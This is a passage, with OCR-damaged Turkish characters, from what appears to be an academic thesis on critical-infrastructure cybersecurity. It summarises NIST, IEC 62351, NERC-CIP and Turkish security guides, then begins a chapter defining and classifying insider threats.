istenen c¢iktilar ve uygulanabilir 6rneklerini icermektedir. Boliim, endiistri standartlarini,
kilavuzlarmi ve uygulamalarini, yonetici seviyesinden uygulama/operasyon seviyesine

kadar sunmaktadir. Cekirdek, es zamanli ve silirekli devam eden 5 fonksiyondan
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olusmaktadir: tanimla, koru, algila, karsilik ver, kurtar. Birlikte degerlendirildiginde, bu
islevler bir kurulusun siber giivenlik risk yonetimi yasam dongiisiine iligkin {ist diizey bir

stratejik goriis saglar.

Uygulama Katmanlari, bir kurulusun siber gilivenlik riskini nasil gérdiiglinii ve bu riski
yonetmek icin uygulanan siiregleri ele alir. Katmanlar, bir kurulusun siber giivenlik risk
yonetimi uygulamalarinin ¢er¢evede tanimlanan 6zellikleri sergileme derecesini (risk ve

tehdide farkinda, tekrarlayabilen ve uyabilen gibi) tanimlar.

Profil boliimii, bir kurulusun belirli bir uygulama senaryosunda standartlarin, kilavuzlarin
ve uygulamalarin cergeve cekirdegi ile uyumlastirilmas: ve elde edilen c¢iktilar olarak
tanimlanabilir. Kuruluslar, mevcut profilini bir hedef profili ile karsilastirilarak siber

giivenlik durusunu iyilestirme firsatlarini belirlemek i¢in kullanmaktadirlar.

Ayrica NIST tarafindan 2019 yilinda ¢ergeveye eslik eden bir de yol haritas1 dokiimani [55]

yayimlanmistir.

NIST 800-82 Endiistrivel Kontrol Sistemleri Giivenligi Rehberi [27]

Rehber, SCADA sistemleri, Dagitik Kontrol Sistemleri (DKS) ve Programlanabilir
Mantiksal Denetleyicileri (PLC) ve diger kontrol sistemi yapilandirmalar1 dahil olmak {izere
Endiistriyel Kontrol Sistemlerinin (EKS) kendine has performans ve gilivenilirlilik
gereklilikleri saglanirken nasil glivenli hale getirilebilecegine dair kilavuzluk saglamaktadir.
Dokiiman, EKS ve tipik sistem topolojilerine genel bir bakis sunmakta, bu sistemlere yonelik
tipik tehditleri, aciklar1 belirlemekte ve iligkili riskleri azaltmak i¢in Onerilen giivenlik

onlemlerini ortaya koymaktadir.

Rehber asagidaki boliimlerden olusmaktadir:

o Giris

e Endiistriyel Kontrol Sistemlerine Genel Bakis

e EKS Risk Yonetimi ve Degerlendirmesi

e EKS Giivenlik Programi Gelistirilmesi ve Yayginlastirilmasi
e EKS Sistem Mimarisi

e Giivenlik Kontrollerinin EKS’ye Uygulanmasi
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IEC 62351 Standartlar Ailesi [56]

IEC 62351 standartlar1 Uluslararasi Elektroteknik Komisyonunun (IEC) 57 numaral teknik
komitesine (TC57) ait ve Veri ve Iletisim Giivenligi ile alakal1 standartlar gelistirmekte olan

15 numarali ¢alisma grubu (WG15) tarafindan gelistirilmistir.

IEC 62351, gii¢ sistemi alanindaki otomasyon sistemlerinde giivenligi artirmay1 amaglayan
bir endiistri standardidir. Gii¢ sistemlerinde kullanilan farkli protokoller i¢in biitiinliik,

kimlik dogrulama ve gizlilik saglama amacina yonelik hiikiimler icermektedir.

IEC 62351 standartlar ailesinin igerdigi standartlar ve igerikler asagida tanimlanmigtir:
e |EC 62351-1 Standarda giris
e |EC 62351-2 Terimler sozligii
e |EC 62351-3 TCP/IP dahil olmak tizere herhangi bir profil i¢in giivenlik.
e TLS Sifreleme
e X.509 sertifikalar araciliyla Diiglim Kimlik Dogrulama
® Mesaj Dogrulama
e |EC 62351-4 MMS dabhil her profil i¢in giivenlik (6rnegin, ICCP tabanli IEC 60870-6,
IEC 61850 vb.).
e MMS i¢in kimlik dogrulama
e Tasima katmani giivenligini saglamak i¢in RFC 1006 ve RFC 793 arasina TLS (RFC
2246) yerlestirilir.
e |EC 62351-5 IEC 60870-5 (6r. DNP3 tiirevi) dahil olmak {izere herhangi bir profil i¢in
giivenlik
e TCP/IP profilleri i¢in TLS ve seri profiller i¢in sifreleme.
e |EC 62351-6 IEC 61850 profilleri igin glivenlik.
e GOOSE i¢in VLAN kullanimi zorunludur.
e SNTP i¢in RFC 2030 kullanilacaktir.
o |EC 62351-7 Ag ve sistem yonetimi ile glivenlik.
o SNMP tabanl yontemlerle ag ve sistem yonetmek icin gii¢ endiistrisine 6zgii Y onetim
Bilgi Tabanin1 (Management Information Base, MIB) tanimlar.
e |EC 62351-8 Rol tabanli erisim kontrolii.
e Rol tabanli erisim kontrolii (RBAC) ile kullanicilarin ve otomatik ajanlarin erigim

sistemlerini gili¢ sistemlerindeki veri nesnelerine kapsar.



27

e |EC 62351-9 Anahtar Yonetimi
e Giivenlik acisindan kritik parametrelerin (sifreler, sifreleme anahtarlar1) dogru ve
giivenli kullanimini tanimlar.
e Sifreleme bilgilerinin tiim yasam dongiisiinii (kayit, olusturma, dagitim, kurulum,
kullanim, depolama ve kaldirma) kapsar.
o Asimetrik kriptografi kullanan algoritmalar i¢in yontemler
e Dijjital sertifikalarin kullanimi (genel/6zel anahtar)
e X.509 sertifikalariyla PKI ortaminin kurulmasi
e SCEP/CMP/EST ile sertifika kaydi
o CRL/OCSP ile sertifika iptali
e Simetrik anahtarlarin kullanimi i¢in GDOI ve IKEv2 protokoliinii temel alan giivenli
bir dagitim mekanizmasi.
e |EC 62351-10 Giivenlik Mimarisi
e BT altyapisinin tamamu i¢in giivenlik mimarilerinin agiklanmasi.
e lletisim mimarisinin kritik noktalarini belirlemek, rnegin; trafo kontrol merkezi, trafo
otomasyonu.
e Giivenlik gereksinimleri i¢in uygun mekanizmalar (veri sifreleme, kullanici
dogrulama gibi).
e BT alanindan kanitlanmis standartlarin uygulanabilirligi, 6rn. VPN tiineli, glivenli
FTP, HTTPS.
e |EC 62351-11 XML Dosyalar1 i¢in Giivenlik
e Orijinal XML igeriginin bir XML konteynerine gomiilmesi
e XML verileri i¢in yayinlanma tarihi ve erisim kontrolii
e XML verilerinin dogrulanmasi i¢in X.509 imzasi

e Istege bagl veri sifreleme [57].

NERC Kritik Altyapilarin Korunmasi (NERC-CIP) Standartlari [58]

NERC Kiritik Altyapt Korumasi (NERC-CIP), biiyiik elektrik sistemleri i¢in minimum
giivenlik gereksinimlerini belirleyen bir standartlar kiimesidir. NERC-CIP, gii¢c sistemi

giivenligini ele alan 40 kural ve 100 alt gereksinimden olusmaktadir.

Standartlar icerisinde, "kritik varliklar" ve "sorumlu kuruluslar" kavramlari sik sik

kullanilmaktadir. Bu yiizden her iki terimin de tanimlarini anlamak énemlidir:
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Kritik varliklar; kontrol sistemleri, veri toplama sistemleri ve ag donanimlarinin yani sira
sanal makineler veya sanal depolama alanlarini barindiran donanim platformlarindan

olusmakla birlikte yalnizca bunlarla sinirli degildir.

Sorumlu kuruluslar; giivenilirlik koordinatorleri, dengeleme otoriteleri, degisim otoriteleri,
iletim servis saglayicilari, iletim sahipleri, iletim operatorleri, jenerator sahipleri, jenerator

operatorleri, yilik servis kuruluslart ve NERC/bolgesel kuruluslar olarak tanimlanmaktadir.

Halihazirda yiiriirliikte olan standartlar ve igerikleri agagida sunulmustur.

CIP-002-5.1a - Siber Giivenlik - BES Siber Sistem Kategorizasyonu

Standart, siber giivenlik gereksinimlerinin uygulanmasi maksadiyla Biiyiik Elektrik Sistemi
(Bulk Electric System - BES) siber sistemlerinin ve bunlarla iligkili BES siber varliklarin,
tanimlanmasini ve smiflandirilmasini gerektirir. Bu gereksinimler, BES siber sistemlerinin
zarar gormesi, tehlikeye atilmasi veya kotliye kullanilmasiyla ortaya g¢ikabilecek olumsuz
etki ile orantilidir. BES siber sistemlerinin tanimlanmasi ve kategorilendirilmesi, BES'te
istenmeyen bi¢imde veya kararsiz kullanimina yol agabilecek tehlikelere karsi uygun

korumay1 desteklemektedir.

Bu standart dogrultusunda kuruluslar, her bir kritik varligi tanimlamali, kategorize etmeli,
her bir varlik i¢in zarar gorme veya kaylp durumlarinin nasil olusabilecegini
onceliklendirmeli ve nihayetinde varhigin tesise olan genel iligkisini veya isletme

bagimliligini vurgulamalidirlar.

CIP-003-6 - Siber Giivenlik - Giivenlik Yonetimi Kontrolleri

Bu standart kuruluslarin, BES siber sistemlerini, BES'in istenmeyen sekilde veya kararsiz
caligmasina yol acabilecek tehlikelere kars1 korumak i¢in sorumluluk ve hesap verebilirlik
saglayan tutarli ve siirdirilebilir giivenlik yonetimi kontrollerinin belirlenmesini

gerektirmektedir.

Siber giivenlik politikasi, liderlik, istisnalar, bilgi korumasi, erisim kontrolii, degisiklik
kontrolii ve konfigiirasyon yonetimi bu standarda dahil edilmistir. Alt gereksinimlere

uyumluluk organizasyona, varliklarin kritikligine ve etki derecesine gore degisebilmektedir.
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CIP-004-6 - Siber Giivenlik - Personel ve Egitim
Standart, uygun diizeyde bir personel risk degerlendirmesi, egitimi ve gilivenlik bilinci
yardimiyla BES siber sistemlerine erigsen bireylerden gelebilecek ve istenmeyen sekilde veya

kararsiz ¢calismasina yol acabilecek risklerin en aza indirgenmesini gerektirmektedir.

Kuruluglar tarafindan, kritik siber varliklara yetkili erisimi olan tiim personelin yeterli
derecede kisilik taramasi, risk degerlendirmesi, calisan egitimi ve giivenlik bilinci
programlarina sahip olmasinin saglanmasi gerekmektedir. Ayrica, kurulusun bu tiir egitim
ve programlart yillik olarak belgelendirmesini, incelemesini ve giincellemesini gerektirir.
Standart bununla birlikte, servis saglayicilar ve yiikleniciler dahil olmak tizere bir kimlik

bilgisi erigim listesi tutulmasini gerektirmektedir.

CIP-005-5 - Siber Giivenlik - Elektronik Giivenlik Alant

Standart, BES siber sistemlerinin, BES'in istenmeyen sekilde veya kararsiz ¢aligmasina yol
acabilecek tehlikelere karst korunmasini desteklemek amaciyla kontrollii bir Elektronik
Giivenlik Alani belirleyerek, BES siber sistemlerine elektronik erisimin yonetilmesini

gerektirmektedir.

Bu standart 6ncelikle ¢cevreye ve uzaktan erigim sirasinda karsilasilan giivenlik agiklarini ele
alma cabalarina odaklanmaktadir. Ttim kritik siber varliklar1 barindiran ¢evre korunmali ve
tiim erisim noktalar1 giivence altina alinmalidir. Elektronik giivenlik alan1 belirlemenin ana
bilesenleri arasinda; uzak oturum sifrelemesi, cok faktorlii kimlik dogrulama, kotii amagl
yazilimdan korunma giincellestirmeleri, yama gilincellestirmeleri ve rollere dayali erisimi
siirlamak i¢in genisletilebilir kimlik dogrulama protokolii (EAP) kullanma gibi tedbirler

bulunmaktadir.

CIP-006-6 - Siber Giivenlik - BES Siber Sistemlerin Fiziksel Giivenligi
Standart, BES siber sistemlerinin, BES'in istenmeyen sekilde veya kararsiz ¢caligmasina yol
acabilecek tehlikelere karsi korunmasmi desteklemek igin bir fiziksel giivenlik plam

belirleyerek fiziksel erisimin yonetilmesini gerektirmektedir.

Standart, fiziksel giivenlik alanini vurgular ve sorumlu kurulusa bir fiziksel giivenlik
programi uygulama gorevi vermektedir. Amag, fiziksel giivenlik bdlgesini ele almak ve risk

bazli gilivenlik bolgelerine dayanarak siber varliklara erisimin korunmasini ve kontrol
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edilmesini hedefleyen Onleyici kontroller olusturmaktir. Fiziksel giivenlik plani, fiziksel
erisim kontrol sistemlerinin korunmasi, elektronik erisim kontrol sistemlerinin korunmasi,
fiziksel erisim kontrolleri, fiziksel erisim izlemesi, fiziksel erisim kayitlari, saklanan
kayitlara erisim, bakim ve test gibi hususlar CIP-006-6 giivenlik programinin
gereklilikleridir.

CIP-007-6 - Siber Giivenlik - Sistem Giivenligi Yonetimi
Standart, BES siber sistemlerini, BES'in istenmeyen sekilde veya kararsiz ¢alismasina yol
acabilecek tehlikelere karst korumayr desteklemek igin belirli teknik, operasyonel ve

prosediirel gerekliliklerin belirlenerek sistem giivenliginin yonetilmesini gerektirmektedir.

Ayrica test prosediirleri, portlar ve hizmetler, glivenlik yama yoénetimi ve kotii amagh
yazilim oOnleme kayitlar1 gibi gilivenlik Onlemlerinin belgelendirilmesi gerekliligini

icermektedir.

CIP-008-5 - Siber Giivenlik - Olay Raporlama ve Miidahale Planlamasi
Bu standart, olay miidahale gerekliliklerini belirleyerek siber giivenlik olay1 sonucunda

BES'in giivenilir sekilde calismamasina yonelik riskin azaltilmasini gerektirmektedir.

Herhangi bir kritik siber varlik ile ilgili giivenlik olayl, NERC tarafindan uygun goriilen
sekilde tanimlanmali, siniflandirilmali, miidahale edilmeli ve raporlanmalidir. Ilgili kisilerin
eylemlerini, rollerini, sorumluluklarini igeren ve olaylarin nasil idare edilecegi ile yonetim
organlarina nasil rapor edilecegini aciklayan bir olay miidahale plani1 olusturulmalidir. Bu

planin yillik olarak giincellenmesi ve uygulanabilirligi test edilmesi gerekmektedir.

CIP-009-6 - Siber Giivenlik - BES Siber Sistemleri Icin Kurtarma Planlar:
Bu standart, BES'in devam eden kararliligini, ¢aligabilirligini ve giivenilirligini desteklemek
icin kurtarma plan1 gereksinimlerinin belirlenerek BES siber sistemlerinin ger¢eklestirdigi

giivenilirlik islevlerinin kurtarilmasini igermektedir.

Kritik siber varliklarin, felaketten kurtarma en iyi uygulamalarina bagli kalan kurtarma
planlari olmalidir. Bir kurtarma plani, degisiklik kontrolii, yedekleme ve restorasyon

islemleri, test veya yedekleme ortami gibi hususlar bu standardin gerekliliklerindendir.
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CIP-010-2 - Siber Giivenlik - Yapilandirma Degisikligi Yonetimi ve Giivenlik A¢igi
Degerlendirmeleri

Bu standart, BES Siber Sistemlerinde BES'in istenmeyen sekilde veya kararsiz ¢alismasina
yol acabilecek tehlikelerden korunmasina yardimci olmak i¢in yapilandirma degisikligi
yonetimi ve giivenlik ac¢ig1 degerlendirme gerekliliklerinin belirlenerek BES siber

sistemlerindeki yetkisiz degisikliklerin dnlenmesi ve tespit edilmesini gerektirmektedir.

CIP-011-2 - Siber Giivenlik - Bilgi Koruma

Bu standart, BES siber sistemlerinin, BES'in istenmeyen sekilde veya kararsiz ¢alismasina
yol acabilecek tehlikelerden korunmasina yardimer olmak icin bilgi koruma gereklilikleri
belirlenerek, BES siber sistemlerindeki bilgiye yetkisiz erisiminin Onlenmesini

gerektirmektedir.
CIP-014-2 - Siber Giivenlik - Fiziksel Giivenlik
Bu standart, iletim istasyonlarinin, iletim trafo merkezlerinin ve bunlarin iligkili birincil

kontrol merkezlerini tanimlanmasini ve korunmasini zorunlu kilmaktadir [59].

Kritik Bilgi Sistem Altyapilari icin Asgari Giivenlik Onlemleri Dokiimani [24]

2012 yilinda TUBITAK tarafindan hazirlanan ve Ulastirma Denizcilik ve Haberlesme
Bakanlig1 tarafindan yayinlanan rehber Tiirkiye’de bu alanda yaymlandigi bilinen ilk
rehberdir. Dokiimanin icerdigi asgari giivenlik 6nlemleri su sekildedir:
e Sistemlerin yetkisiz erisimden korunmasi

e Sistem merkezine fiziksel erisimin yonetilmesi

e Sistemlere bilgisayar aglar1 araciligi ile erisimin kisitlanmasi

e Taginabilir saklama ortamlariin kisitlanmast
e Yetkili personelin sistemlere erisiminin yonetilmesi

e Sistem yOneticisi ve operatdr atama prosediirii

e Yetkili personelin kullanici kimliklerinin yOnetilmesi ve giivenli oturum ag¢ma

prosediirii

e Kayit yonetimi ve gorevler ayriligi

e Isletme prosediirleri, rol ve sorumluluklar
e Sistem tedarik, gelistirme ve bakiminin yonetilmesi

e Uygulama yazilimlariin glivenliginin yonetilmesi



32

e Teknik acikliklarin yonetilmesi
e Bakim sozlesmesi

Is siirekliligi dnlemleri

e Yedek sistem merkezi, prosediir ve testler

e Bilisim Sistemleri Giivenligi Y&neticisi ve Personel Istihdami
e Giivenlik yoneticisi
e Personel siirekliligi

e Personel yetistirilmesi ve egitimi

Dokiimantasyon
e Politika dokiimani

e Kayitlarin yonetilmesi

Bilgi Giivenligi Olaylarina Miidahale

Enerji Sektoriinde EKS Giivenlik Kontrolleri [60]

Tiirkiye’de kritik altyapilarin siber giivenligine yonelik giincel 6nemli bir rehberdir. EKS
Giivenlik Kontrolleri, enerji giivenligini tesis etmeye yonelik olarak EPDK tarafindan
uluslararas1 Ornekler dikkate alinarak gelistirilmis bir gilivenlik kontrolleri biitlintidiir.
Rehber ile EKS’lerin karsilastiklar: giivenlik risklerinin ortadan kaldirilmasi, tespit edilmesi,

riskin gergeklesme olasiliginin ve olasi etkinin diisiiriilmesi amaglanmaktadir.

EKS Giivenlik Kontrolleri El Kitabi, EKS sahipleri i¢in bir giivenlik uygulama kilavuzu
olmasinin yani sira, sektorde bulunan EKS’lerin giivenliginin denetlenmesi i¢in de bir el
kitab1 olma niteligi tasimaktadir. Bu kontroller baz alinarak yapilacak denetimler ile bir
EKS’nin giivenlik seviyesinin 6l¢iilebilecegi ve 6ncelikli gelisim alanlari tespit edilebilecegi

degerlendirilmistir.

Enerji Sektoriinde bulunan EKS’ler i¢in tasarlanmis giivenlik kontrollerini iceren 18 baglik

asagida sunulmustur.

e Erisim Kontrolii e Gilivenlik Degerlendirmesi ve
e Farkindalik ve Egitim Yetkilendirme
e Denetim ve Hesap Verebilirlik e Konfigilirasyon Yonetimi

e Acil Durum Planlamasi e Kimlik Dogrulama ve Yetkilendirme
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e Olay Miidahale e Risk Degerlendirme
e Bakim e Sistem ve Hizmet Edinimi
e Medya (Ortam) Korumasi e Sistem ve Iletisim Giivenligi

Fiziksel ve Cevresel Giivenlik Sistem ve Bilgi Bitiinligi

Personel Giivenligi Program Y 6netimi

Bunlarin disinda kritik altyap1 sektorlerine yonelik olarak TSE’nin ISO standartlar1 kaynak

alarak olusturulmus 3 6nemli bilgi glivenligi dokiimani bulunmaktadir:

e TS ISO/IEC 27011 Bilgi teknolojisi - Giivenlik teknikleri - Telekomiinikasyon
kuruluslart i¢in ISO / IEC 27002'ye dayali bilgi giivenligi denetimleri i¢in uygulama
prensipleri,

e TS ISO/IEC 27019 Bilgi teknolojisi - Giivenlik teknikleri - Enerji hizmet endiistrisine
ozgii proses kontrol sistemleri i¢in ISO / IEC 27002'ye dayali bilgi giivenligi yonetim
kurallar,

e TS EN ISO 27799 Saglik bilisimi - ISO/IEC 27002 standardini kullanarak saglikta bilgi
giivenligi yonetimi.

Incelenen standart ve rehberlerde i¢ tehdide yénelik de bircok giivenlik kontrolii yer
almaktadir. Erisim kontrolii, kimlik dogrulama ve yetkilendirme, personel giivenligi, ag
segmentasyonu, farkindalik ve egitim, sifreleme gibi yontemler i¢ kaynakli tehditlere karsi

alinabilecek onlemlerdendir.
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3.IC TEHDIT ETKISi

Bu boliimde i¢ tehdidin tanimi yapilmis, i¢ tehdide etki eden faktorler ve i¢ tehdidin
motivasyonlar: anlatilmis, i¢ tehdidin Onemi aragtirmalarla ve yasanmis olaylarla
aciklanmistir. Ayrica kritik altyapilarda i¢ tehdidin azaltilmasina yonelik yapilan ¢alismalar
incelenmis ve bu bilgiler 1s1¢inda i¢ tehdidin azaltilmasina yonelik 6nlemlerden

bahsedilmistir.
3.1. Tamim ve Kapsami

“Bir zincir en zayif halkasi1 kadar giicliidiir” soziine giivenlik perspektifinden bakildiginda

en zayif halka genellikle insandir.

Literatiirdeki onemli sorunlardan biri i¢ tehdit kavraminin uzlasilmis ortak bir taniminin

olmamasidir. Sadece i¢ tehdit degil igerideki® kavrammin da kim ya da ne oldugunu

tamimlamak tehdidi belirleyebilmek ve azaltabilmek icin dnemli goriilmektedir. Igerideki

kavraminin genel bir tanimi “bilgi teknolojilerine mesru erisim yetkisi olan kisi” seklindedir

[11]. Baslangicta tatmin edici bir tanim gibi goriinse de giiniimiiz is diinyasinin dis kaynakli

diizenlemeleri, danismanlar ve gegici c¢alisanlar diisliniildiigiinde “i¢” ve “dis” kavramlari

arasindaki smirin ne kadar dinamik oldugu anlagilabilmektedir. Asagida belirtilen

senaryolarin tamaminda "mesru erisim" yetkisi bulunmaktadir ve "i¢erideki" olarak

degerlendirilmektedir:

e isten ¢ikarilan fakat sisteme erisim bilgileri gegersiz kilnmamis personel (kurum
politikas1 derhal iptal edilmesi gerektigini belirtmesine ragmen),

e Bir silire Oonce organizasyonun sistemlerini tasarlayan ve sisteme nasil girileceginin
bilgisine sahip yazilim gelistiricisi,

e Oturum agmis bir bilgisayar1 yetkili kullanicinin izni olmaksizin kullanan bir "maskeli"
saldirgan,

e Hademe (sisteme mantiksal erisim yetkisi olmasa da ayricalikli fiziksel giris yetkisine

sahip).

3 Ingilizcedeki “insider” terimi kurum iginden giivenlik ihlaline neden olan kisi anlamindadr. Tiirkgedeki birebir karsilig
olan “igerideki” kelimesi ise tam olarak bu anlami karsilamadigindan, aslinda “insider threat” kavramina karsilik gelen “i¢
tehdit” kavrami zaman zaman “insider” yerine de kullanilmigtir.
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Icerideki kavrami icin literatiirde yapilmus cesitli tanimlamalar asagidaki 6zelliklerin bir ya

da birkagina yapilan vurguya ve yorumuna dayanmaktadir:

e Sisteme erisim, beraberinde sisteme erigimin yetkili mi yetkisiz mi oldugu, yetkili ise
yetkiyi kimin tanimladigi, erisimin fiziksel mi yoksa mantiksal m1 oldugu,

e Kurumu disaridakilere temsil etme yetkisi; icerideki bir aktdre kurum tarafindan
uygulanan politikalar disaridan kesin olarak bilinemeyeceginden ayni aktor disariya karsi
tamamen farkl politikalara tabi oldugunu iddia edebilir.

e Bilgi; halihazirda kurumla herhangi bir baglantis1 olmayan fakat sistemi tasarlayan
kisinin bilgisi,

e Kurum tarafindan giivenilme; bireyi gii¢lendiren bir olgudur.

Icerideki kavraminin tanimi "mesru olarak erisim yetkisine, kurum varliklarindan en az birisi
hakkinda temsil ya da karar yetkisine sahip kisi" olarak yapilabilir. I¢ tehdit ise "yetkilerini
kotiiye kullanan ya da sisteme erigimi istismar ile sonuglanan kisi" olarak tanimlanmaktadir

[14].

"Kotiiye kullanim" terimi birgok sorunu da beraberinde getirmektedir. Bu durumda dogru
ve miisaade edilen kullanimin belirtilmis olmas1 gerekmektedir. Fakat bir¢ok durumda bu
kurallar ve politikalar ya hi¢ belirlenmemis ya da net olarak belirtilmemistir. Bu durum
yasal, sosyal ve etik yonlerin ele alinmasini gerektirmekte ayrica akillara i¢ tehdit konusunda
altta yatan sistemin rolii nedir, i¢ tehdidin motivasyonlari, riskleri ve sonuglar1 nelerdir

sorularinm getirmektedir.

ABD I¢ Isleri Bakanligi’na bagl Siber Giivenlik ve Altyap1 Giiveligi Ajansi igin i¢ tehdit
onemle tizerinde durulan bir konudur. ABD Milli Altyapilar Tavsiye Konseyi ilk raporunda
i¢c tehdidi “Bir sirkete, kuruma veya kurulusa giris yetkisine sahip ya da bunlarla ilgili
iceriden bilgiye sahip olan ve bu yetki ve bilgiyi o isletmenin gilivenlik, sistem, hizmet, iiriin
veya tesislerinin zarar gormesine neden olabilecek zayifliklarindan faydalanmak igin

kullanan bir veya daha fazla kisi”” olarak tanimlanmaktadir [61].

Carnegie Mellon Universitesi uzun yillar yaptig1 calismalar sonucunda ig tehdidi “kurumun

varliklarina erisim yetkisine sahip bir bireyin bu yetkiyi, kotli niyetli ya da kasitsiz bir
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seklide, kurumu olumsuz olarak etkileyecek bigimde kullanma potansiyeli” olarak

tanimlamaktadir [13].

I¢ tehditle ilgili biiyiik sorunlardan bir digeri konuyla ilgili ger¢ek verinin ¢cok az olmasidir.
Ciinki bir i¢ tehdidin kurumsal ya da organizasyonel bir sistemde yapmamasi gereken bir
seyi yapmaya calisiyor olmasini tespit edebilmek siber ve organizasyonel giivenlik agisindan
onemli bir sorundur. Tespit edebilmenin gii¢ olmasinin sebebi ise i¢ tehdidin olusturdugu
trafigin normal trafikten ayirt edilmesinin ¢ok zor olmasindan kaynaklanir. Bununla birlikte
iceriden gelen tehditler disaridan gelen tehditlerin bilmedigi bilgilere ve sahip olmadigi
yeteneklere sahiptirler ve bunun sonucunda ciddi zararlara yol agabilirler. Tiim bu unsurlar

i¢ tehdit etkisini basa ¢ikilmasi en zor problemlerden yapmaktadir [14].

3.1.1. i¢ tehdidin simiflandirilmasi

I¢ tehdit icin literatiirde gesitli siniflandirmalar bulunmaktadir. Predd ve digerleri [62] i¢
tehdidi kisinin karakteristik Ozelliklerine (motivasyonu, bilgisi), kuruma (politikalar1),
sisteme (sistemin tehdidi kolaylastirmadaki rolii) ve ¢evreye (hukuk ve etik ilkeler) gore
smiflandirmistir. Bishop ve digerleri [63] ise i¢ tehdidin kendisi ve erisim ayricaligindan
olusan bir kaynaga gore siniflandirmislardir. Boylece i¢ tehdidin derecesini bilmek miimkiin

olabilmektedir.

Smiflandirma yaparken i¢ tehdidin tiliriinii belirleyen onemli faktorler bulunmaktadir.
Motivasyon, bu faktorlerden biridir. I¢ tehditle ve onun sonuglariyla basa ¢ikarken 6nemli
bir etkendir. Masum eylemden baslayip, eglence, teknik miicadele, suca yonelik niyetler ve
casusluga kadar uzanan genis bir yelpazeyi kapsayabilmektedir. Aksi beklense de sasirtic
sekilde bu motivasyonlarin her biri benzer yikici etkiye sahip olabilirler. Bu da tabi ki i¢

tehdidi cok daha 6dnemli ama bir o kadar da karmasik hale getirmektedir.

I¢ tehdidin tespiti ile alakal bilinen ilk ¢alismalardan biri [64] i¢ tehdide neden olan kisileri
temel olarak 2 smifta toplamistir: hainler ve maskeliler. Hain, bir kurulus i¢indeki sistemlere
ve bilgi kaynaklarina erisim hakki verilmis ancak eylemleri politikaya aykir1 olan ve amaci
bazi bilgi varliklarinin gizlilik, biitiinliik veya erisilebilirliklerini olumsuz yonde etkilemek
olan mesru bir kullanicidir. Hain, kétii niyetli eylemlerini siirdiiriirken kendisine verilen

mesru kimlik bilgilerini kullanmaktadir. I¢ tehdide neden olan kisilerin en bilinen



38

orneklerinden maskeli ise mesru bir kullanicinin kimligini ¢almay1 basarabilen ve koti
niyetli amaclar i¢in bagka bir kullanicinin “kiligina biiriinen” bir saldirgandir. Kredi karti
hirsizlari, maskelilerin en iyi 6rneklerindendir. Hirsizlar, bir banka miisterisinin kredi karti
bilgilerini ele gecirir ve bu bilgileri bir maske olarak kurbanin kendisiymis gibi kullanarak
para ¢alar. Burada hainler grubuna girenlerin maskelilere nazaran kurumla ilgili daha fazla

bilgiye sahip oldugu séylenebilmektedir.

Daha yeni bir calisma [12] ise bu simiflandirmaya kotii niyetli olmayan fakat bilgisizlik ya
da dikkatsizlik sonucu zararlara yol acan kullanicilar1 da eklemislerdir ve sonug olarak i¢
tehdide neden olan kisileri 3 ana sinif altinda toplamislardir. I¢ tehditlerin siniflandiriimasi

Sekil 3.1°de gosterilmistir.

Ic Tehdit
Maskeliler Hainler o e s . .
Bilgisiz ve dikkatsiz
kullanicilar

KesifmpSilahlanmamp Iletme mp Somiirme mp Kurulummp Komuta-Kontrol mp Hedeflenen
Eylem

1. Veri s1zintisi,

Verinin  biitiinligi  ve
erisilebilirliginin ihlali,
3. Bilgi ve iletisim
teknolojilerine sabotaj.

2

Sekil 3.1. I¢ tehditlerin siiflandiriimasi [12]

Hainler ile bilgisiz ve dikkatsiz kullanicilar gruplar1 halihazirda kurum i¢inde olduklarindan
ve kurum ici bilgiye sahip olduklarindan hedeflerinde dogrudan ulasabilmektedirler. Oysa
maskeli i¢ tehditler mesru erisim yetkisine sahip olsalar da kurum igi bilgileri zayif
oldugundan kesif, zararli kodun iletilmesi, istismar gibi agsamalarda yarattig: trafik disaridan
gelen tehditlere benzer sekildedir. Boylece maskeli i¢ tehditlerin tespitine yonelik emareler
dogdugundan bu gruba giren saldirganlarin belirlenmesi diger gruplara nazaran daha

muhtemel konumdadir.
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3.1.2. i¢ kaynakh saldirilarin siniflandiriimasi

Genel olarak 3 tip igeriden gelen saldir tiirii belirtilebilir:

e Erisim yetkisinin kotiiye kullanimi, teknik onlemler kullanarak tespit edilmesi ve
engellenmesi en zor saldirn tiirlidiir zira tanim geregi icerideki zaten mesru erigim
yetkisine sahiptir.

e Savunmayi atlatma, saldirgan zaten sistemin i¢inde oldugundan sistemi kurcalamak ic¢in
daha fazla imkana sahiptir. Teknik ve teknik olmayan &nlemlerin birlikte kullanimina
ihtiya¢ bulunmaktadir.

e FErisim kontrolii hatalari, igerideki herkes tiim sistem kaynaklarina erisim
saglayamamalidir. Teknik bir sorundur ve Onlemesi basit olmakla birlikte, erisim
kontrolii hatalarinin tespiti, erisim yetkisinin kd&tiiye kullaniminin tespitindeki ayni

nedenlerden dolay1 zordur [64].

I¢ kaynakl saldirilarm en ¢ok sebep oldugu zararlar ise;

e Veri s1zintisi
e Verinin biitlinliigli ve erisilebilirliginin ihlali,
¢ bilgi ve iletisim teknolojilerine sabotaj olarak siralanabilir [12].

Genel olarak en tehlikeli hedeflerden olan veri sizintis1 “verinin bir bilgisayardan yetkisiz
olarak kopyalanmasi, tasinmast veya alinmasi” olarak tanimlanabilir. Kurumsal bilginin
yetkisiz bir sekilde kullanimi, 6zel veya hassas verinin istemeden ortaya ¢ikmasi ve fikri

miilkiyetin ¢alinmasi gibi bi¢cimlerde ortaya ¢ikabilmektedir.

Veri biitlinliigiiniin veya erisilebilirliginin ihlali ikinci biiylik tehdittir. Boyle bir tehdit,
“verinin dogru bir kopyasmin artik kurumun erisemeyecegi bicimde ortadan kaybolmasi
veya hasar1” olarak tanimlanabilir. Bu tehdide iliskin; kullanicilar1 sagirtmak i¢in dosya
uzantilarini degistirmek, hassas verileri sifrelemek/desifre etmek ve dosyalara miidahale
etmek gibi yontemler bulunur. Fidye yazilim bu tehdit i¢in en iyi 6rnektir. Fidye yazilimlar
kurbanin bilgisayarindaki dosyalari sifreler ve sifrenin tekrar ¢oziilebilmesi i¢in 6deme talep

edebilmektedir.

Saldirganin bir diger hedefi bilgi ve iletisim teknolojilerine sabotaj yapmak olabilir. Kuruma

ya da kisiye dogrudan verilecek bir zarar olarak tanimlanabilir. Ornek olarak igeriden ele
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gecirilmis bir bilgisayar ag1 (botnet) ile baslatilacak bir DDoS saldiris1 digsaridan gelecek
siradan bir saldiriya gore ¢ok daha ciddi sonuglar dogurabilmektedir [12].

Ic tehdidin kritik altyapilarda yasanan vakalarda oncelikli hedefi bilgi ve iletisim
teknolojilerine, tesisin ya da kurumun fiziksel varliklarin sabotaj olmustur. Kritik altyap1
